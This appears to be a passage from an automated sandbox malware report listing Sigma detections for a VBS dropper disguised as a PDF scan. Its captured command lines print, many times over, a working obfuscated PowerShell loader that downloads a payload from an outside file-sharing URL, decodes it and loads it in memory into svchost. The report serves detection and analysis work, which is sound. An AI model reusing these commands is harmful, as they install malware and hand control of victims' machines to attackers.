[System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/kl

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJI

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 2608, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , ProcessId: 2608, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , ProcessId: 2608, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", ProcessId: 6380, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 6380, TargetFilename: C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJI

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 2608, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/kl

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWOW64\svchost.exe", CommandLine: "C:\Windows\SysWOW64\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3232, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWOW64\svchost.exe", ProcessId: 7440, ProcessName: svchost.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/kl

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs" , ProcessId: 2608, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs", ProcessId: 6380, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

